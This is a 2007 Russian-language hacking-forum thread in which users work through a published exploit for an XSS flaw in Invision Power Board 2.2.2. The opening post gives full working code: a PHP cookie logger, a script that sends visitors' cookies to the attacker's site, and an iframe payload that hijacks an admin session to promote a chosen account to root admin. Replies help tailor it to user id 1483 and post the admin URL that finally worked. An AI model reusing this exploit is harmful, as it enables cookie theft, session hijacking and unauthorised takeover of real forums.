Вопрос ламмера по сплойту Ipb222

Discussion in 'Песочница' started by FaR-G9, 14 Aug 2007.

Thread Status:
Not open for further replies.
  1. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Invision Power Board 2.2.2 Cross Site Scripting vulnerability
    Code:
     # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    # 
    #   Invision Power Board 2.2.2 Cross Site Scripting vulnerability 
    # 
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    #   Vendor site: http://www.invisionboard.com/ 
    #   Vulnerability found by Iron (ironwarez.info) 
    # 
    #   Greets to all **** Security Group members     
    # 
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    #   The vulnerability: 
    #   Open up any php file in /jscripts/folder_rte_files 
    #    See: 
    
        var editor_id         = <?php print '"'.trim($_REQUEST['editorid']).'";'; ?> 
         
    # 
    #   $_REQUEST['editorid'] isn't sanitized in any way, so allows 
    #   other uses to execute their own code. 
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    #   PoC (Log cookies & run SQL query) 
    # 
    #   Requirements: server supporting PHP, user account on 
    #   target forum, database prefix needs to be known. 
    # 
    #   Create a file called name.php on your webserver and put this code in it: 
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    
    <?php 
    $target = "http://www.yourtarget.com/forum"; #Target forum without trailing slash 
    $prefix = "ibf_"; #Database prefix, default: ibf_ 
    $member = 22; #Member id to promote 
    $newgroup = 4; # The id of the new group to promote, normally 4 is root admin 
    
    $ip = $_SERVER['REMOTE_ADDR']; 
    $referer = $_SERVER['HTTP_REFERER']; 
    $agent = $_SERVER['HTTP_USER_AGENT']; 
    
    $data = $_GET['c']; 
    $time = date("Y-m-d G:i:s A"); 
    $text = "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n"; 
    
    $file = fopen('log.txt' , 'a'); 
    fwrite($file,$text); 
    fclose($file); 
    if(preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff)) 
    { 
    print '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+ 
    '.$prefix.'members+SET 
    +mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'.  $member.'%27&st="></>'; 
    } 
    ?> 
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    #    Also create a file in the same directory named "log.txt" and chmod it 777 
    # 
    #    Now, create a file called script.js on your webserver, put this code in it: 
    # 
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    
    document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie; 
    
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    # 
    #    And, last but not least, create a file that combines those two;) 
    #    Name it blah.html and put this code in it: 
    # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
    
    <iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></ 
    script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe> 
    
    Насколько я понял, этим сплойтом можно выполнять скуль команды, при просмотре страницы жертвой.

    Так-вот я хотел-бы узнать как тут изменить скуль команду, чтоб изменить группу юзера(id=1483) с 3 на 4.
    Спасибо
     
  2. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Это xss сплоит ) придется ссылки пихать жертве. Просто поднимает пользователя по определенного указанного уровня (1 - админ)
    До кучи надо создавать на хостинге php файлы
     
  3. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Я это все понял, у меня вопрос другой
    PHP:
    <?php 
    $target 
    "http://www.yourtarget.com/forum"#Target forum without trailing slash 
    $prefix "ibf_"#Database prefix, default: ibf_ 
    $member 22#Member id to promote 
    $newgroup 4# The id of the new group to promote, normally 4 is root admin 

    $ip $_SERVER['REMOTE_ADDR']; 
    $referer $_SERVER['HTTP_REFERER']; 
    $agent $_SERVER['HTTP_USER_AGENT']; 

    $data $_GET['c']; 
    $time date("Y-m-d G:i:s A"); 
    $text "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n"

    $file fopen('log.txt' 'a'); 
    fwrite($file,$text); 
    fclose($file); 
    if(
    preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff)) 

    print 
    '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+ 
    '
    .$prefix.'members+SET 
    +mgroup+%3D+%27'
    .$newgroup.'%27+WHERE+id+%3D+%27'.  $member.'%27&st="></>'

    ?>
    как вот это чудо отредактировать
    А вот тут я чето неврубился у админов группа вроде 4
     
    #3 FaR-G9, 14 Aug 2007
    Last edited: 14 Aug 2007
  4. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    PHP:
    $target "http://www.yourtarget.com/forum"#Target forum without trailing slash  
    $prefix "ibf_"#Database prefix, default: ibf_
    $member 22#Member id to promote 
    Просто эти строки редактируй.
    $target - урл форума
    $prefix - префикс форума (если знаешь) - стандартный "ibf_"
    $member - твой id на форуме ( вроди бы :) )
     
  5. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    не суть важно. пусть будет 4
    $member = 1483;
    $newgroup =4; это можно оставить
     
  6. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Сори
    Млин, ступил там он так и настроен
     
    1 person likes this.
  7. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    А это для чего скрипт?
     
  8. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Ломать Invision Power Board 2.2.2 :)
    Скрипт получает админскую сессию через XSS
     
  9. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Чтоб изменить группу юзера
    А кроме этого еще выполняет Скуль команду
     
    #9 FaR-G9, 14 Aug 2007
    Last edited: 14 Aug 2007
    1 person likes this.
  10. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Это можно и вручную сделать :)
    Чисто технически это можно назвать снифером
     
  11. grishka

    grishka Active Member

    Joined:
    11 Aug 2007
    Messages:
    158
    Likes Received:
    255
    Reputations:
    4
    может кто нить выложить откомпанованный и гатовый к использованию сплоит.плиииз
     
    1 person likes this.
  12. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Исправил все левые пробелы
    _http://far128.narod.ru/ipb222/log.txt
    _http://far128.narod.ru/ipb222/script.js.txt
    _http://far128.narod.ru/ipb222/index.html.txt
    _http://far128.narod.ru/ipb222/name.php.txt
    но че-то сплойт работать не хочет на локалхосте
    Кто юзал его, помогите
     
  13. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    конечно. ведь на народ ру нету пхп.
     
  14. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Я на денвере его пробовал
    на народ я выложил содержимое файлов, которые у меня получились
    Посмотрите может там ошибка или на nulled версии исправили багу?
     
    #14 FaR-G9, 14 Aug 2007
    Last edited: 14 Aug 2007
  15. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Ковычка тут непричем, там уязвимость Xss, а не Sql
     
  16. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    /admin/index.php?adsess=(тут id админской сессии)&act=sql&code=runsql&section=admin&query=UPDATE+(тут префикс базы)members+SET
    +mgroup+%3D+%27(тут номер группы до которой поднимать)%27+WHERE+id+%3D+%27(здесь id юзера, которого хотим повысить)%27&st=

    Проблема в том, что нет админской сессии. Если достанешь - можешь вручную делать много чего
    Чтобы достать админскую сессию и написан данный сплоит в виде ссылки, попадая на которую администратор "палит" свою сессию
     
  17. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Как определить версию? интересный вопрос... если 2.2.2, то снизу по умолчанию написано что-то вроде "Русская версия IP.Board 2.2.2"
     
  18. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Я пробовал на локалхосте, админская сесия была
    но че-то сплойт не сработал
     
  19. FaR-G9

    FaR-G9 Member

    Joined:
    19 Dec 2006
    Messages:
    114
    Likes Received:
    28
    Reputations:
    -4
    Code:
    /admin/index.php?adsess=(тут id админской сессии)&act=sql&code=runsql&section=admin&query=UPDATE+(тут префикс базы)members+SET 
    +mgroup+%3D+%27(тут номер группы до которой поднимать)%27+WHERE+id+%3D+%27(здесь id юзера, которого хотим повысить)%27&st=
    
    Вот, вот эта штука заработала, я понял ошибку в скрипте
    Прошу тему закрыть
     
Thread Status:
Not open for further replies.